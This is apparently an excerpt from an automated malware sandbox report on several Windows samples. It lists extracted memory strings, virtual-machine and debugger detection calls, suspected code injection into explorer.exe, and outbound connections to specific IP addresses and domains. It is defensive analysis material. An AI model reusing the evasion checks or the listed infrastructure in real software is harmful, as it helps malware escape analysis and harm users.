Source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: 11VBoxSFWINDIRWD
Source: C06.exe, 0000001C.00000002.4134884919.0000000000778000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad allocCountbad record MACbad restart PCbad span statebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removederror responsefile too largefinalizer waitgcstoptheworldget uptime: %wgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedmemprofileratemultipartfilesneed more datanil elem type!no module datano such deviceopen event: %wparse cert: %wprotocol errorread certs: %wread_frame_eofreflect.Value.remove app: %wruntime: full=runtime: want=s.allocCount= semaRoot queueserver.versionstack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriodtoo many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: yiueea.exe, 00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPk
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000001.00000000.1730789041.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo = MB goal, flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday(%s.uuid.%s%s\|%s%s\|%s(BADINDEX), bound = , limit = -noprofile-uninstall.localhost/dev/stdin/etc/hosts/show-eula12207031256103515625: parsing :authorityAdditionalBad varintCampaignIDCancelIoExChorasmianClassCHAOSClassCSNETConnectionContent-IdCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDnsQuery_WECDSA-SHA1END_STREAMERROR-CODEException GC forced
Source: explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: main.isRunningInsideVMWare
Source: explorer.exe, 00000001.00000000.1729958246.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: C06.exe, 0000000B.00000002.2276744600.0000000000714000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}r
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: C06.exe, 0000000B.00000002.2276744600.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: explorer.exe, 00000001.00000000.1727453068.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: , i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.local.onion/%d-%s370000390625:31461<-chanAcceptAnswerArabicAugustBUTTONBasic BitBltBrahmiCANCELCONIN$CancelCarianChakmaCommonCookieCopticExpectFltMgrFormatFridayGOAWAYGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLengthLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFWINDIRWanchoWinMonWinmonX25519Yezidi[]byte\??\%s\csrss\ufffd
Source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: tVMSrvcs\|!
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: and got= max= ms, ptr tab= top=%s %q%s %s%s%d%s/%s%s:%d%s=%s"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-0930.avif.html.jpeg.json.wasm.webp1.4.2156253.2.250001500025000350004500055000650512560015600278125:**@:path<nil>AdlamAprilBamumBatakBuhidCall ClassCountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNONCENushuOghamOriyaOsageP-224P-256P-384P-521PGDSEREALMRangeRealmRunicSHA-1STermTakriTamilTypeAUSTARUUID=\u202] = (allowarrayatimebad nchdirchmodclosecsrssctimedeferfalsefaultfilesfloatgcinggeoipgnamegscanhchanhostshttpsimap2imap3imapsinit int16int32int64matchmheapmkdirmonthmtimentohspanicparsepgdsepop3sproxyrangermdirrouterune scav schedsdsetsleepslicesockssse41sse42ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...)
Source: explorer.exe, 00000001.00000000.1729958246.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: 100-continue127.0.0.1:%d127.0.0.1:53152587890625762939453125AUTHENTICATEBidi_ControlCIDR addressCONTINUATIONCfgMgr32.dllCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGetUserGeoIDGlobalUnlockGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectServer ErrorSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad flushGenbad g statusbad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegc
Source: explorer.exe, 00000001.00000000.1725888437.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1730789041.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTTL expiredUninstallerVBoxServiceVMUSrvc.exeVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exeadditionalsalarm clockapplicationassistQueueauthoritiesbad addressbad argSizebad m valuebad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcreated by crypt32.dlle2.keff.orgembedded/%sexternal IPfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=move %s: %wmswsock.dllnetpollInitnext servernil contextopera-proxyorannis.comout of syncparse errorprocess: %sreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writestack tracestart proxytaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion.dllversion=195wininet.dllwup_process (sensitive) B (
Source: explorer.exe, 00000001.00000000.1725888437.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1727453068.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: GetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaICE-CONTROLLINGIdempotency-KeyImpersonateSelfInstall failureIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: SafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: xxxxxxxxt\|VMWare\|VirtualuterSystemd""sion\Run\`,dq
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: ><'\'') = ) m=+Inf-Inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0x%x1.1110803125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHostJulyJuneLEAFLisuMiaoModiNZDTNZSTNameNewaPINGPOSTPathQEMUROOTSASTSTARSendStatTempThaiTypeUUID"%s"\rss\smb\u00
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: 9EB5.exe, 00000021.00000002.2639196032.000000000302E000.00000004.00000020.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2946196547.0000000001103000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: \\.\HGFS`
Source: explorer.exe, 00000001.00000000.1729958246.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1727453068.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1730789041.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: vmhgfsP
Source: C06.exe, 00000029.00000002.2577453283.0000000000942000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 00000029.00000003.2478977891.0000000000942000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Not ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptydouble unlockemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflateif-none-matchignoring fileimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base kernel32.dllkey expansionlame referrallast-modifiedlevel 3 resetload64 failedmaster secretmin too largename is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparsing time powrprof.dllprl_tools.exeprofMemActiveprofMemFutureread EULA: %wrebooting nowruntime: seq=runtime: val=service stateset event: %wsigner is nilsocks connectsrmount errortimer expiredtraceStackTabtrailing dataunimplementedunsupported: user canceledvalue method virtualpc: %wxadd64 failedxchg64 failed}
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen"select * from Win32_ComputerSystem
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, bytes ...
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> answersany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scpuprofderiveddriversexpiresfloat32float64forcegcgctracehead = http://invalidlog.txtlookup messageminpc= nil keynop -> number pacer: panic: readdirrefererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwindowswsarecvwsasendwup_verxen: %wxennet6 bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= ping=%q pointer stack=[ status %!Month(%02d%02d%s %s:%d%s: 0x%x-cleanup2.5.4.102.5.4.112.5.4.1748828125?4#?'1#0AcceptExAcceptedAllocateAltitudeArmenianBAD RANKBalineseBopomofoBugineseCancelIoCherokeeClassANYConflictContinueCurveID(CyrillicDNS nameDSA-SHA1DecemberDefenderDeleteDCDuployanEULA.txtEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneIsWindowJavaneseKatakanaKayah_LiLIFETIMELinear_ALinear_BLocationLsaCloseMD5+SHA1MahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYPROGRESSParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmWSAIoctlWinmonFSWmiPrvSE[::1]:53[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnum_gatewayacceptexaddress bad instcgocheckcontinuecs deadlockdefault:dial: %wdnsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp execwaitexporterf is nilfinishedfs gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid linkpathlocationmac_addrmountvolmsvmmoufno anodeno-cacheno_proxypollDescreadfromrecvfromreflect.runnableruntime.rwmutexRrwmutexWscavengeshutdownstrconv.taskkilltor_modetraceBuftrigger=unixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservx509sha1yuio.top (forced) B exp.) B work ( blocked= in use)
Source: C06.exe, 0000001F.00000002.4134499495.0000000000881000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: m=] = ] n=allgallparchasn1avx2basebindbitsbmi1bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ...
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: xxxxxxxxt\|VMWare\|VirtualuterSystemd""sion\Run\
Source: explorer.exe, 00000001.00000000.1725888437.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: yiueea.exe, 00000011.00000003.4056210973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000002.4134687572.0000000000B52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(n

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	11_2_00410160
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	11_2_0040F730
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	11_2_0040FB98

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6545.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_00404BF9 LoadLibraryW,GetProcAddress,VirtualProtect,

8_2_00404BF9

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B092B mov eax, dword ptr fs:[00000030h]	0_2_006B092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B0D90 mov eax, dword ptr fs:[00000030h]	0_2_006B0D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B08EB push dword ptr fs:[00000030h]	0_2_008B08EB
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_006B092B mov eax, dword ptr fs:[00000030h]	7_2_006B092B
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_006B0D90 mov eax, dword ptr fs:[00000030h]	7_2_006B0D90
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_0073E2FB push dword ptr fs:[00000030h]	7_2_0073E2FB
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_022890A3 push dword ptr fs:[00000030h]	8_2_022890A3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02320042 push dword ptr fs:[00000030h]	8_2_02320042
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0217C0A3 push dword ptr fs:[00000030h]	15_2_0217C0A3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02320042 push dword ptr fs:[00000030h]	15_2_02320042

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_00405C97 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

8_2_00405C97

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

11_2_0042A57A

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_004107BB CreateFileA,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

8_2_004107BB

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_0228A71C rdtsc

8_2_0228A71C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004029BA LdrLoadDll,

0_2_004029BA

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_00409C03 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00409C03
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_00405C97 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00405C97
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0040657C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0040657C
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_00409DEA SetUnhandledExceptionFilter,	8_2_00409DEA
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_004329EC
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_004329BB SetUnhandledExceptionFilter,	11_2_004329BB
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_00409C03 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00409C03
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_00405C97 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00405C97
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0040657C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_0040657C
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_00409DEA SetUnhandledExceptionFilter,	15_2_00409DEA

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 104.21.21.57 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.143.166.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.86.8 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 79.137.192.18 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 213.6.54.58 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.94.245.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 35.205.61.67 80	Jump to behavior
